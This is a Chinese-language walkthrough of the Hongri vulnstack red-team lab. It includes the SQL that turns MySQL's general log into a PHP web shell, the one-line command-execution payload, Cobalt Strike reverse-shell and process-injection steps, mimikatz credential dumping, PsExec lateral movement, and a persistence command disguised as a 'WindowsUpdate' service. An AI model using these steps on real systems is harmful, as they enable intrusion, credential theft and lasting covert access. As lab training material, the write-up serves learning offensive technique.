靶机分享
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
环境搭建
可以参照博客
https://blog.csdn.net/weixin_44288604/article/details/108172737
环境配置后各主机信息(仅个人)
信息收集
扫描端口
namp扫描
nmap -A -p- 192.168.20.11(web服务器的对外ip)
主机开放了两个端口,80和3306
fscan扫描,发现存在php探针界面
访问http://192.168.20.11
root/root连接mysql成功
此页面提供给我们很对信息
1、php版本和phpinfo界面
2、服务器的指纹(主机系统、apache版本)
3、数据库mysql存在弱口令
4、http明文传输
5、网站的根目录位置
扫描网站目录
dirsearch
御剑
发现存在phpmyadmin的页面,之前已经弱口令尝试了mysql的密码,直接登录
登陆成功的同时证明有phpmyadmin的漏洞,一般只有localhost才可以访问phpmyadmin的页面
入侵阶段
利用phpmyadmin页面的SQL界面写入shell
首先需要查看日志是否开启
show variables like "gengeral_log%";
通过general日志写入shell操作
1、开启日志功能
set global general_log = 'on';
2、更改日志文件位置,需要将MySQL的日志文件放在网站可以解析的地方,之前在php探针页面已经知晓网站的根目录位置
set global general_log_file = "C:\\phpstudy\\WWW\\shell.php"
3、最后向shell.php文件写入恶意代码即可
写入一句话木马
select "<?php system($_REQUEST[cmd]);?>"
此时php一句话木马<?php system($_REQUEST[cmd]);?>已经被记录在了shell.php文件内,只需要我们访问即可
验证一下
我们输入命令whoami
得到
我们可以利用该漏洞为跳板对主机的信息进行勘察
执行dir文件
发现存在yxcms,是一个框架,其实之前在看到数据库的名字的时候就应该已经知道是yxcms的框架
并且beifen.rar文件应该是网站源码文件,下载后查看,发现是一个1.2.1版本的yxcms框架
访问/yxcms
在首页发现后台登录页面以及账户密码,登录后台
成功登录网站后台
发现在该后台的数据库管理功能点也可以使用MySQL的root权限执行语句
此web靶机getshell方式
1、利用phpmyadmin的弱口令写入日志shell
2、利用已知网站框架yxcms的历史漏洞写入shell(info.php)(自定义模版)
上线蚁剑
这里采用第一种,直接蚁剑连接,获得shell
因为蚁剑可以进行的操作不多,我们采用cobalt strike对shell主机进行上线
采用反弹shell
关于cobalt strike这个工具的使用又有许多可以讲,这里不详细展开
有兴趣的读者可以持续关注博文
上线cobalt strike
在主机的powershell.exe程序上执行cs的命令,即可上线
这里可以看到web服务器在cs上已经上线,ip是192.168.20.11,搭载进程是powershell.exe arch为x86(说明此时拿到的shell是一个32位的,powershell.exe是一个32位的程序,后续需要提权至x64)
执行命令
sleep 0(让shell成为实时交互型)
shell whoami(查看用户,为管理员)
提权阶段
之前已经提到,拿到的shell只不过是32位,而系统是64位的(可以执行systeminfo命令查看),这说明我们还未完全拿下程序,需要进程注入与提权
我们用拿到的shell看看进程列表,或者蚁剑也可
寻找合适的64位进程注入,这里不可以选择系统进程,防止系统崩溃,那么只有everything和phpstudy,因为phpstudy存在web服务,所以我们选择everything
everything.exe进程号为2252
执行命令 inject 2252 x64,执行后会需要重新选择监听器,我们重新选择或者创建,注意端口需要与之前不同
成功上线x64位的shell,此shell将会更适合web靶机的系统
横向移动
需要探测内网存活主机,方法很多,上传fscan、nmap扫描或者net view 查看
探测到138、141主机
使用nmap扫描漏洞
也可以使用logonpasswords(cs自带mimikzta插件)
获取明文密码Administrator/hongrisec@2024,域为GOD.ORG
这样就可以使用口令复用攻击攻击其他域内成员
cs提供PsExec来实现隧道穿透
使用psexec64链接(监听器选择beacon-smb,session选择64位的反弹shell)
成功上现,相同方法上现另外一台主机,注意psexec是32位,否则无法连接
此时域内主机的shell已经全部到手
143即web机、138为域控主机、141是域成员
持久化攻击
当我们拿下主机权限时,渗透并不意味着结束,因为当前的主机权限并不会持久,我们需要植入木马文件进行权限维持
cs也由此功能
我们只做一个木马文件并上传至web服务器的desktop目录,并写入命令启动木马程序
利用upload功能上传木马
并写入命令来启动木马程序
shell sc create "WindowsUpdate" binpath= "cmd /c start "C:\Users\Administrator\Desktop\artifact.exe""&&sc config "WindowsUpdate" start=auto&& start WindowsUpdate
此时,权限维持的工作也已完成
参考文章
反弹shell理解 https://blog.csdn.net/mastergu2/article/details/120975065
beacon命令 https://blog.csdn.net/weixin_40412037/article/details/126354860
lainwith博客 https://blog.csdn.net/weixin_44288604/article/details/108172737
phpmyadmin写入shell漏洞 https://blog.csdn.net/m0_47418965/article/details/121708917#t5
标签:web,shell,主机,写入,hongri,靶场,php,net From: https://www.cnblogs.com/zyToJH/p/18191466